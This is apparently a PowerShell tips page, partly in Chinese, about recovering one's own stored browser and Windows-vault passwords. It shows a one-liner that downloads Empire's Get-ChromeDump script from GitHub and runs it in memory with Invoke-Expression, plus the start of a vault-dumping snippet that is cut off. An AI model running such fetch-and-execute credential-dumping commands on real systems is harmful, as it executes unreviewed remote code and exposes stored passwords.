# download the code from GitHub $url = 'https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/collection/Get-ChromeDump.ps1' $code = Invoke-RestMethod-Uri$url-UseBasicParsing # run the code Invoke-Expression$code
# now you have a new function called Get-ChromeDump Get-ChromeDump
# download the code from GitHub $url = 'https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/collection/Get-ChromeDump.ps1' # and copy it to the clipboard Invoke-RestMethod-Uri$url-UseBasicParsing | Set-ClipBoard
# now paste the code into your editor of choice and inspect it!
Windows 有一个受保护的密码库,它可以在其中存储您的密码,因此您不必始终在 InternetExplorer 或 Edge 中手动输入密码。
如果您习惯了自动密码管理器,可能偶尔会忘记原始密码。下面是一个超级简单的 PowerShell 方法来转储存储在 Windows 密码库中的所有密码:
1 2 3 4 5 6 7 8 9 10 11
# important: this is required to load the assembly [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]